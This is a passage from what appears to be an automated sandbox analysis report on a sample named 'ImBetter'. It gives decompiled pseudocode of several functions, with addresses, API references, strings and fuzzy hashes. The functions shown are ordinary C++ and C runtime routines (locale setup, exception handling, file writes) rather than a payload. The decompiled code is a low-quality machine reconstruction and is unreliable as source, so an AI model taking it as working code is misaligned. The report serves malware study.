				 *((long long*)(_t95 - 1)) = _t103;
				if ( *((intOrPtr*)(_t95 - 0x11)) == 0) goto 0xe6b11888;
				E00007FF77FF7E6B25D54(_t53, 0xe6b5dda3, 0xe6b5dda3, _t92, _t100);
				 *((long long*)(_t95 - 0x11)) = _t103;
				if ( *((intOrPtr*)(_t95 - 0x21)) == 0) goto 0xe6b1189a;
				_t50 = E00007FF77FF7E6B25D54(_t53, 0xe6b5dda3, 0xe6b5dda3, _t92, _t100);
				 *((long long*)(_t95 - 0x21)) = _t103;
				E00007FF77FF7E6B43E14(_t50, _t95 - 0x29);
				return 2;
			}

0x7ff7e6b11760
0x7ff7e6b11760
0x7ff7e6b11765
0x7ff7e6b1176c
0x7ff7e6b1176e
0x7ff7e6b1177d
0x7ff7e6b11780
0x7ff7e6b11786
0x7ff7e6b1178f
0x7ff7e6b11795
0x7ff7e6b11795
0x7ff7e6b11799
0x7ff7e6b1179e
0x7ff7e6b117a1
0x7ff7e6b117a5
0x7ff7e6b117ac
0x7ff7e6b117b5
0x7ff7e6b117bb
0x7ff7e6b117ca
0x7ff7e6b117d0
0x7ff7e6b117d4
0x7ff7e6b117d8
0x7ff7e6b117dc
0x7ff7e6b117e0
0x7ff7e6b117e4
0x7ff7e6b117e9
0x7ff7e6b117ed
0x7ff7e6b117f2
0x7ff7e6b117f6
0x7ff7e6b117fa
0x7ff7e6b117fe
0x7ff7e6b11805
0x7ff7e6b11812
0x7ff7e6b11818
0x7ff7e6b11823
0x7ff7e6b11826
0x7ff7e6b1182d
0x7ff7e6b11839
0x7ff7e6b1183b
0x7ff7e6b11840
0x7ff7e6b1184b
0x7ff7e6b1184d
0x7ff7e6b11852
0x7ff7e6b1185d
0x7ff7e6b1185f
0x7ff7e6b11864
0x7ff7e6b1186f
0x7ff7e6b11871
0x7ff7e6b11876
0x7ff7e6b11881
0x7ff7e6b11883
0x7ff7e6b11888
0x7ff7e6b11893
0x7ff7e6b11895
0x7ff7e6b1189a
0x7ff7e6b118a2
0x7ff7e6b118c4

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7E6B117CA
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7E6B11812

Strings

bad locale name, xrefs: 00007FF7E6B118C5

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: 2cb802aca42b0423c66d36dd2e4999fd6741cfb7bce72a710e4a4cea9ff38276
Instruction ID: a84babdfcef1b4302b7e228c8d339f32943549e882a0f898971303c010095e84
Opcode Fuzzy Hash: 2cb802aca42b0423c66d36dd2e4999fd6741cfb7bce72a710e4a4cea9ff38276
Instruction Fuzzy Hash: 6341C022B266419AFB10EF70D8943FE73B5EF44748F684036DE0D26A56DE38D825C326

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B41F98 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00007FF77FF7E6B41F98(void* __eflags, void* __rcx, intOrPtr _a8, intOrPtr _a16, signed int _a24, void* _a32) {
				char _v80;
				signed long long _v96;
				long long _v104;
				long long _v136;
				signed long long _v144;
				signed int _v152;
				long long _v160;
				long long _v168;
				signed long long _v176;
				signed int _v184;
				void* __rbx;
				void* _t105;
				void* _t124;
				long long _t125;
				signed long long _t129;
				signed int _t130;
				long long _t132;
				signed long long _t134;
				long long _t153;
				intOrPtr* _t154;
				void* _t155;
				void* _t158;
				signed long long _t161;

				_t124 = _t155;
				r12d = 0;
				_v184 = r12d;
				_a24 = _a24 & r12d;
				_v176 = _v176 & _t161;
				_v152 = _v152 & _t161;
				 *((intOrPtr*)(_t124 - 0x80)) = r12b;
				 *(_t124 - 0x7c) =  *(_t124 - 0x7c) & r12d;
				 *(_t124 - 0x78) =  *(_t124 - 0x78) & r12d;
				 *(_t124 - 0x74) =  *(_t124 - 0x74) & r12d;
				 *(_t124 - 0x70) =  *(_t124 - 0x70) & r12d;
				 *(_t124 - 0x6c) =  *(_t124 - 0x6c) & r12d;
				E00007FF77FF7E6B3FA9C(_t124);
				_t125 =  *((intOrPtr*)(_t124 + 0x28));
				_v160 = _t125;
				E00007FF77FF7E6B3FA9C(_t125);
				_v168 =  *((intOrPtr*)(_t125 + 0x20));
				_t153 =  *((intOrPtr*)(__rcx + 0x50));
				_a32 = _t153;
				_t132 =  *((intOrPtr*)(__rcx + 0x40));
				_v136 =  *((intOrPtr*)(__rcx + 0x30));
				_v104 =  *((intOrPtr*)(__rcx + 0x48));
				_t129 =  *((intOrPtr*)(__rcx + 0x68));
				_v96 = _t129;
				_a16 =  *((intOrPtr*)(__rcx + 0x78));
				_a8 =  *((intOrPtr*)(__rcx + 0x38));
				E00007FF77FF7E6B42D54( *((intOrPtr*)(__rcx + 0x38)), _t132);
				E00007FF77FF7E6B3FA9C(_t129);
				 *((long long*)(_t129 + 0x20)) = _t153;
				E00007FF77FF7E6B3FA9C(_t129);
				 *((long long*)(_t129 + 0x28)) = _t132;
				E00007FF77FF7E6B3FA9C(_t129);
				E00007FF77FF7E6B3E504(_t129,  &_v80,  *((intOrPtr*)( *((intOrPtr*)(_t129 + 0x20)) + 0x28)));
				_v144 = _t129;
				if ( *((intOrPtr*)(__rcx + 0x58)) == _t161) goto 0xe6b4209a;
				_a24 = 1;
				E00007FF77FF7E6B3FA9C(_t129);
				_v152 =  *((intOrPtr*)(_t129 + 0x70));
				r8d = 0x100;
				E00007FF77FF7E6B43150(_v136,  *((intOrPtr*)(__rcx + 0x28)), _t158);
				_v176 = _t129;
				if (_t129 - 2 >= 0) goto 0xe6b420ce;
				_t134 =  *((intOrPtr*)(_t155 - 0xa8 + 0x70 + _t129 * 8));
				if (_t134 == 0) goto 0xe6b421e1;
				_v176 = _t134;
				E00007FF77FF7E6B43180(_t134,  *((intOrPtr*)(__rcx + 0x28)));
				_v184 = 1;
				E00007FF77FF7E6B3FA9C(_t129);
				 *(_t129 + 0x40) =  *(_t129 + 0x40) & 0x00000000;
				E00007FF77FF7E6B3FA9C(_t129);
				 *((intOrPtr*)(_t129 + 0x78)) = _a16;
				_t154 = _a32;
				if (_a24 == 0) goto 0xe6b42135;
				E00007FF77FF7E6B3E7EC(1, _t154);
				_t130 = _v152;
				r8d =  *((intOrPtr*)(_t130 + 0x18));
				goto 0xe6b42142;
				r8d =  *((intOrPtr*)(_t154 + 0x18));
				RaiseException(??, ??, ??, ??);
				r12d = _v184;
				E00007FF77FF7E6B3E540(_t130, _v176, _v144);
				if (r12d != 0) goto 0xe6b421a0;
				if ( *_t154 != 0xe06d7363) goto 0xe6b421a0;
				if ( *((intOrPtr*)(_t154 + 0x18)) != 4) goto 0xe6b421a0;
				if ( *((intOrPtr*)(_t154 + 0x20)) - 0x19930520 - 2 > 0) goto 0xe6b421a0;
				if (E00007FF77FF7E6B3E860(_t130,  *((intOrPtr*)(_t154 + 0x28))) == 0) goto 0xe6b421a0;
				E00007FF77FF7E6B3E7EC(1, _t154);
				E00007FF77FF7E6B3FA9C(_t130);
				 *((long long*)(_t130 + 0x20)) = _v168;
				E00007FF77FF7E6B3FA9C(_t130);
				 *((long long*)(_t130 + 0x28)) = _v160;
				E00007FF77FF7E6B3FA9C(_t130);
				 *((intOrPtr*)(_t130 + 0x78)) = _a8;
				_t105 = E00007FF77FF7E6B3FA9C(_t130);
				 *((intOrPtr*)(_t130 + 0x78)) = 0xfffffffe;
				return _t105;
			}

0x7ff7e6b41f98
0x7ff7e6b41fae
0x7ff7e6b41fb1
0x7ff7e6b41fb6
0x7ff7e6b41fbe
0x7ff7e6b41fc3
0x7ff7e6b41fc8
0x7ff7e6b41fcc
0x7ff7e6b41fd0
0x7ff7e6b41fd4
0x7ff7e6b41fd8
0x7ff7e6b41fdc
0x7ff7e6b41fe0
0x7ff7e6b41fe5
0x7ff7e6b41fe9
0x7ff7e6b41fee
0x7ff7e6b41ff7
0x7ff7e6b41ffc
0x7ff7e6b42000
0x7ff7e6b42008
0x7ff7e6b42010
0x7ff7e6b4201d
0x7ff7e6b42022
0x7ff7e6b42026
0x7ff7e6b4202e
0x7ff7e6b42038
0x7ff7e6b42042
0x7ff7e6b42047
0x7ff7e6b4204c
0x7ff7e6b42050
0x7ff7e6b42055
0x7ff7e6b42059
0x7ff7e6b4206e
0x7ff7e6b42076
0x7ff7e6b4207f
0x7ff7e6b42081
0x7ff7e6b4208c
0x7ff7e6b42095
0x7ff7e6b4209a
0x7ff7e6b420a8
0x7ff7e6b420b0
0x7ff7e6b420b9
0x7ff7e6b420bb
0x7ff7e6b420c3
0x7ff7e6b420c9
0x7ff7e6b420d4
0x7ff7e6b420e5
0x7ff7e6b420ed
0x7ff7e6b420f2
0x7ff7e6b420f6
0x7ff7e6b42102
0x7ff7e6b42105
0x7ff7e6b42115
0x7ff7e6b4211c
0x7ff7e6b42121
0x7ff7e6b4212a
0x7ff7e6b42133
0x7ff7e6b42139
0x7ff7e6b42142
0x7ff7e6b42148
0x7ff7e6b42164
0x7ff7e6b4216c
0x7ff7e6b42174
0x7ff7e6b4217a
0x7ff7e6b42187
0x7ff7e6b42194
0x7ff7e6b4219b
0x7ff7e6b421a0
0x7ff7e6b421a5
0x7ff7e6b421a9
0x7ff7e6b421ae
0x7ff7e6b421b2
0x7ff7e6b421be
0x7ff7e6b421c1
0x7ff7e6b421c6
0x7ff7e6b421e0

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7E6B42042
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF7E6B4206E

Strings

csm, xrefs: 00007FF7E6B4216E

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: 33c471e6855fd2dcfe1cf2c89506cf976229ac2a53ac1697c8c519197ed02471
Instruction ID: 9a1aa8313d02ea5085c3c473fa54eedb80e2e33780bda0a378c9ee2a2d7bff3d
Opcode Fuzzy Hash: 33c471e6855fd2dcfe1cf2c89506cf976229ac2a53ac1697c8c519197ed02471
Instruction Fuzzy Hash: 4D518032628B4286E620BB15E84036FB7B4FB89B90F601536EB8D47B55DF38D451CB12

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B115E0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00007FF77FF7E6B115E0(long long __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi) {
				void* __rdi;
				void* _t41;
				void* _t50;
				intOrPtr _t75;
				long long* _t89;
				long long _t92;
				void* _t95;
				void* _t97;
				void* _t100;
				void* _t101;
				long long _t103;

				_t66 = __rax;
				 *((long long*)(_t97 + 0x10)) = __rbx;
				 *((long long*)(_t97 + 0x18)) = __rsi;
				_push(_t103);
				_t95 = _t97 - 0x47;
				_t89 = __rcx;
				r14d = 0;
				if (__rcx == 0) goto 0xe6b11728;
				if ( *__rcx != _t103) goto 0xe6b11728;
				_t4 = _t103 + 0x10; // 0x10
				_t53 = _t4;
				_t41 = E00007FF77FF7E6B3CAAC( *__rcx - _t103, __rax, __rcx);
				_t92 = __rax;
				 *((long long*)(_t95 + 0x67)) = __rax;
				_t75 =  *((intOrPtr*)(__rdx + 8));
				if (_t75 == 0) goto 0xe6b1163d;
				if ( *((intOrPtr*)(_t75 + 0x28)) != 0) goto 0xe6b11644;
				goto 0xe6b11644;
				E00007FF77FF7E6B43D9C(_t41, 0, _t95 - 0x29);
				 *((long long*)(_t95 - 0x21)) = _t103;
				 *((char*)(_t95 - 0x19)) = 0;
				 *((long long*)(_t95 - 0x11)) = _t103;
				 *((char*)(_t95 - 9)) = 0;
				 *((long long*)(_t95 - 1)) = _t103;
				 *((intOrPtr*)(_t95 + 7)) = r14w;
				 *((long long*)(_t95 + 0xf)) = _t103;
				 *((intOrPtr*)(_t95 + 0x17)) = r14w;
				 *((long long*)(_t95 + 0x1f)) = _t103;
				 *((char*)(_t95 + 0x27)) = 0;
				 *((long long*)(_t95 + 0x2f)) = _t103;
				 *((char*)(_t95 + 0x37)) = 0;
				if (0xe6b5dda3 == 0) goto 0xe6b11745;
				E00007FF77FF7E6B441E4(_t66, 0xe6b5dda3, _t95 - 0x29, 0xe6b5dda3, _t89, _t92, _t101);
				 *((intOrPtr*)(_t92 + 8)) = r14d;
				 *_t92 = 0xe6b5a7b0;
				 *_t89 = _t92;
				E00007FF77FF7E6B44250(_t95 - 0x29);
				if ( *((intOrPtr*)(_t95 + 0x2f)) == 0) goto 0xe6b116c0;
				E00007FF77FF7E6B25D54(_t4, 0xe6b5dda3, 0xe6b5dda3, _t92, _t100);
				 *((long long*)(_t95 + 0x2f)) = _t103;
				if ( *((intOrPtr*)(_t95 + 0x1f)) == 0) goto 0xe6b116d2;
				E00007FF77FF7E6B25D54(_t4, 0xe6b5dda3, 0xe6b5dda3, _t92, _t100);
				 *((long long*)(_t95 + 0x1f)) = _t103;
				if ( *((intOrPtr*)(_t95 + 0xf)) == 0) goto 0xe6b116e4;
				E00007FF77FF7E6B25D54(_t4, 0xe6b5dda3, 0xe6b5dda3, _t92, _t100);
				 *((long long*)(_t95 + 0xf)) = _t103;
				if ( *((intOrPtr*)(_t95 - 1)) == 0) goto 0xe6b116f6;
				E00007FF77FF7E6B25D54(_t53, 0xe6b5dda3, 0xe6b5dda3, _t92, _t100);
				 *((long long*)(_t95 - 1)) = _t103;
				if ( *((intOrPtr*)(_t95 - 0x11)) == 0) goto 0xe6b11708;
				E00007FF77FF7E6B25D54(_t53, 0xe6b5dda3, 0xe6b5dda3, _t92, _t100);
				 *((long long*)(_t95 - 0x11)) = _t103;
				if ( *((intOrPtr*)(_t95 - 0x21)) == 0) goto 0xe6b1171a;
				_t50 = E00007FF77FF7E6B25D54(_t53, 0xe6b5dda3, 0xe6b5dda3, _t92, _t100);
				 *((long long*)(_t95 - 0x21)) = _t103;
				E00007FF77FF7E6B43E14(_t50, _t95 - 0x29);
				return 4;
			}

0x7ff7e6b115e0
0x7ff7e6b115e0
0x7ff7e6b115e5
0x7ff7e6b115ec
0x7ff7e6b115ee
0x7ff7e6b115fd
0x7ff7e6b11600
0x7ff7e6b11606
0x7ff7e6b1160f
0x7ff7e6b11615
0x7ff7e6b11615
0x7ff7e6b11619
0x7ff7e6b1161e
0x7ff7e6b11621
0x7ff7e6b11625
0x7ff7e6b1162c
0x7ff7e6b11635
0x7ff7e6b1163b
0x7ff7e6b1164a
0x7ff7e6b11650
0x7ff7e6b11654
0x7ff7e6b11658
0x7ff7e6b1165c
0x7ff7e6b11660
0x7ff7e6b11664
0x7ff7e6b11669
0x7ff7e6b1166d
0x7ff7e6b11672
0x7ff7e6b11676
0x7ff7e6b1167a
0x7ff7e6b1167e
0x7ff7e6b11685
0x7ff7e6b11692
0x7ff7e6b11698
0x7ff7e6b116a3
0x7ff7e6b116a6
0x7ff7e6b116ad
0x7ff7e6b116b9
0x7ff7e6b116bb
0x7ff7e6b116c0
0x7ff7e6b116cb
0x7ff7e6b116cd
0x7ff7e6b116d2
0x7ff7e6b116dd
0x7ff7e6b116df
0x7ff7e6b116e4
0x7ff7e6b116ef
0x7ff7e6b116f1
0x7ff7e6b116f6
0x7ff7e6b11701
0x7ff7e6b11703
0x7ff7e6b11708
0x7ff7e6b11713
0x7ff7e6b11715
0x7ff7e6b1171a
0x7ff7e6b11722
0x7ff7e6b11744

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7E6B1164A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7E6B11692

Strings

bad locale name, xrefs: 00007FF7E6B11745

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: 2fb49e806700d72cd993cbd475ac3a0edc9bf292d2492723777bc09184917f70
Instruction ID: d47337eaaedac59186e981d18de92fcb05c49b2bec8b9b4116f50f2793be4219
Opcode Fuzzy Hash: 2fb49e806700d72cd993cbd475ac3a0edc9bf292d2492723777bc09184917f70
Instruction Fuzzy Hash: 4D419F32B6668199EB10EF70D8943EE73B5EF44748F580036DA0C26A55DE38D925D326

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B2E09C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 29%

			E00007FF77FF7E6B2E09C(signed int __edx, void* __edi, void* __rax, signed long long __rbx, intOrPtr* __rcx, long long __rbp, signed short* __r8, signed long long _a8, signed long long _a16, long long _a24, char _a40, char _a1744, char _a1752, signed int _a5176, void* _a5192) {
				intOrPtr _v0;
				signed long long _v8;
				signed int _t41;
				signed long long _t62;
				short* _t67;
				signed int* _t68;
				void* _t91;
				void* _t97;
				void* _t99;
				void* _t102;
				void* _t103;

				_a8 = __rbx;
				_a24 = __rbp;
				E00007FF77FF7E6B3D640(0x1470, __rax, _t97, _t99);
				_t62 =  *0xe6b6bbc0; // 0x7a937e77a598
				_a5176 = _t62 ^ _t91 - __rax;
				r14d = r9d;
				r10d = r10d & 0x0000003f;
				_t103 = _t102 + __r8;
				 *((long long*)(__rcx)) =  *((intOrPtr*)(0xe6b6cdb0 + (__edx >> 6) * 8));
				 *((intOrPtr*)(__rcx + 8)) = 0;
				if (__r8 - _t103 >= 0) goto 0xe6b2e1dd;
				_t67 =  &_a40;
				if (__r8 - _t103 >= 0) goto 0xe6b2e146;
				_t41 =  *__r8 & 0x0000ffff;
				if (_t41 != 0xa) goto 0xe6b2e132;
				 *_t67 = 0xd;
				_t68 = _t67 + 2;
				 *_t68 = _t41;
				if ( &(_t68[0]) -  &_a1744 < 0) goto 0xe6b2e114;
				_a16 = _a16 & 0x00000000;
				_a8 = _a8 & 0x00000000;
				_v0 = 0xd55;
				_v8 =  &_a1752;
				r9d = 0;
				E00007FF77FF7E6B29E5C();
				if (0 == 0) goto 0xe6b2e1d5;
				if (0 == 0) goto 0xe6b2e1c5;
				_v8 = _v8 & 0x00000000;
				r8d = 0;
				r8d = r8d;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0xe6b2e1d5;
				if (0 + _a24 < 0) goto 0xe6b2e192;
				 *((intOrPtr*)(__rcx + 4)) = __edi - r15d;
				goto 0xe6b2e109;
				 *((intOrPtr*)(__rcx)) = GetLastError();
				return E00007FF77FF7E6B3C7F0(_t39, 0, _a5176 ^ _t91 - __rax);
			}

0x7ff7e6b2e09c
0x7ff7e6b2e0a1
0x7ff7e6b2e0b3
0x7ff7e6b2e0bb
0x7ff7e6b2e0c5
0x7ff7e6b2e0d6
0x7ff7e6b2e0e4
0x7ff7e6b2e0e8
0x7ff7e6b2e100
0x7ff7e6b2e106
0x7ff7e6b2e109
0x7ff7e6b2e10f
0x7ff7e6b2e117
0x7ff7e6b2e119
0x7ff7e6b2e124
0x7ff7e6b2e12b
0x7ff7e6b2e12e
0x7ff7e6b2e132
0x7ff7e6b2e144
0x7ff7e6b2e146
0x7ff7e6b2e151
0x7ff7e6b2e15f
0x7ff7e6b2e172
0x7ff7e6b2e177
0x7ff7e6b2e181
0x7ff7e6b2e18a
0x7ff7e6b2e190
0x7ff7e6b2e192
0x7ff7e6b2e1a7
0x7ff7e6b2e1b0
0x7ff7e6b2e1bb
0x7ff7e6b2e1c3
0x7ff7e6b2e1ca
0x7ff7e6b2e1d0
0x7ff7e6b2e1db
0x7ff7e6b2e20b

APIs

WriteFile.KERNEL32 ref: 00007FF7E6B2E1B3
GetLastError.KERNEL32 ref: 00007FF7E6B2E1D5

Strings

U, xrefs: 00007FF7E6B2E15F

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 6ca8462068c25c4be098d255e7db6a4b93f1298eccb0692bf7428ac49f16583d
Instruction ID: 6a459b1ee589ff7ef21f7f7a3bd2dacc63c2d5105166fcea0b5fa1e5c0bc68cd
Opcode Fuzzy Hash: 6ca8462068c25c4be098d255e7db6a4b93f1298eccb0692bf7428ac49f16583d
Instruction Fuzzy Hash: F241B672B28A9181DB10EF26EC443AAB7A1FB98794F944132EE4D87798EF3CD441C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B03F70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E00007FF77FF7E6B03F70(void* __ecx, void* __rax, long long __rcx, void* __rdx) {
				intOrPtr _v32;
				char _v56;
				char _v72;
				void* __rbx;
				void* _t11;
				void* _t13;
				long long* _t24;
				intOrPtr _t32;

				asm("movaps [esp+0x50], xmm6");
				_t24 = __rcx;
				_v72 = __rcx;
				asm("inc ecx");
				asm("xorps xmm0, xmm0");
				asm("movups [esp+0x30], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqu [esp+0x40], xmm1");
				_t14 =  *((char*)(__rdx + 0xffffffff));
				if ( *((char*)(__rdx + 0xffffffff)) != 0) goto 0xe6b03fa0;
				E00007FF77FF7E6B02FD0(__rcx,  &_v56, __rdx, 0);
				asm("movdqa [esp+0x20], xmm6");
				E00007FF77FF7E6B01600(_t14, _t24, _t24,  &_v72,  &_v56);
				_t32 = _v32;
				if (_t32 - 0x10 < 0) goto 0xe6b04007;
				_t28 = _v56;
				if (_t32 + 1 - 0x1000 < 0) goto 0xe6b04002;
				if (_v56 -  *((intOrPtr*)(_t28 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0401f;
				_t11 = E00007FF77FF7E6B3CAF0(_t13,  *((intOrPtr*)(_t28 - 8)));
				 *_t24 = 0xe6b5a460;
				asm("movaps xmm6, [esp+0x50]");
				return _t11;
			}

0x7ff7e6b03f76
0x7ff7e6b03f7b
0x7ff7e6b03f7e
0x7ff7e6b03f83
0x7ff7e6b03f87
0x7ff7e6b03f8a
0x7ff7e6b03f8f
0x7ff7e6b03f92
0x7ff7e6b03fa3
0x7ff7e6b03fa8
0x7ff7e6b03faf
0x7ff7e6b03fb5
0x7ff7e6b03fc8
0x7ff7e6b03fce
0x7ff7e6b03fd7
0x7ff7e6b03fdc
0x7ff7e6b03feb
0x7ff7e6b04000
0x7ff7e6b04002
0x7ff7e6b0400e
0x7ff7e6b04014
0x7ff7e6b0401e

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0401F
__std_exception_copy.LIBVCRUNTIME ref: 00007FF7E6B04058

Strings

ios_base::failbit set, xrefs: 00007FF7E6B03F70

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: __std_exception_copy_invalid_parameter_noinfo_noreturn
String ID: ios_base::failbit set
API String ID: 1109970293-3924258884
Opcode ID: 5a13794377c361e5ccb04e4cd476374cfb816bc89847426e46d783314907cc91
Instruction ID: 73a8e431cfb07e764804c44621fb383be129acfd5af8697e19bccdc3a1bd0b8e
Opcode Fuzzy Hash: 5a13794377c361e5ccb04e4cd476374cfb816bc89847426e46d783314907cc91
Instruction Fuzzy Hash: B321BF62E29BC581E6019F24D8412BAB321FF69764F649332EAAC127D5EF7CD5D5C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B310E4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 32%

			E00007FF77FF7E6B310E4(void* __ecx, void* __edx, long long __rbx, long long _a8, intOrPtr _a48) {
				signed long long _v48;
				void* _t7;
				void* _t8;
				void* _t13;
				void* _t23;
				void* _t24;

				_a8 = __rbx;
				asm("movsd [esp+0x20], xmm3");
				asm("movsd [esp+0x18], xmm2");
				_t8 = __ecx;
				r8d = 0;
				if ( *0xe6b50830 == __edx) goto 0xe6b3114d;
				r8d = r8d + 1;
				if (0x7ff7e6b50840 - 0xe6b50a00 < 0) goto 0xe6b3110c;
				_v48 = _v48 & 0x00000000;
				E00007FF77FF7E6B31378(__ecx, _t13, __rbx, _a48, _t23, _t24);
				_t7 = E00007FF77FF7E6B310B4(_t8, 0x7ff7e6b50840, _a48);
				asm("movsd xmm0, [ebp+0x30]");
				return _t7;
			}

0x7ff7e6b310e4
0x7ff7e6b310e9
0x7ff7e6b310ef
0x7ff7e6b31104
0x7ff7e6b31109
0x7ff7e6b3110e
0x7ff7e6b31110
0x7ff7e6b31121
0x7ff7e6b31123
0x7ff7e6b31131
0x7ff7e6b31138
0x7ff7e6b3113d
0x7ff7e6b3114c

APIs

_set_errno_from_matherr.LIBCMT ref: 00007FF7E6B31138
_set_errno_from_matherr.LIBCMT ref: 00007FF7E6B311A5

Strings

exp, xrefs: 00007FF7E6B31113

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _set_errno_from_matherr
String ID: exp
API String ID: 1187470696-113136155
Opcode ID: c3857de138acf715690a2c2e71f9a95059b47d6cb6e28c72d885eb4d9dddaf72
Instruction ID: fda8050b655c6305ac940ae5c1656ce40288cee16d217efbb6d7f41ff49988d7
Opcode Fuzzy Hash: c3857de138acf715690a2c2e71f9a95059b47d6cb6e28c72d885eb4d9dddaf72
Instruction Fuzzy Hash: D3213736F25A15CEEB50EF34C8406AE73B4FB58348F905536EA0E92F4ADE38E5418B51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B3F9B4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7E6B0132F), ref: 00007FF7E6B3F9F8
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7E6B0132F), ref: 00007FF7E6B3FA3E

Strings

csm, xrefs: 00007FF7E6B3FA2B

